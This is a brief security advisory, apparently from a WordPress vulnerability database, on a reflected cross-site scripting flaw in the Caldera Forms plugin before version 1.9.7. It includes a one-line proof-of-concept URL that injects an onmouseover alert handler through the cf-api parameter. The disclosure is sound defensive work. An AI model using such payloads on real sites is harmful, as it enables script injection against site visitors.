WordPress Plugin Vulnerabilities

Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting

Description

The plugin does not validate and escape the cf-api parameter before outputting it back in the response, leading to a Reflected Cross-Site Scripting

Proof of Concept

The issue is only exploitable when there are no forms created yet

https://example.com/?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x

Affects Plugins

Fixed in 1.9.7
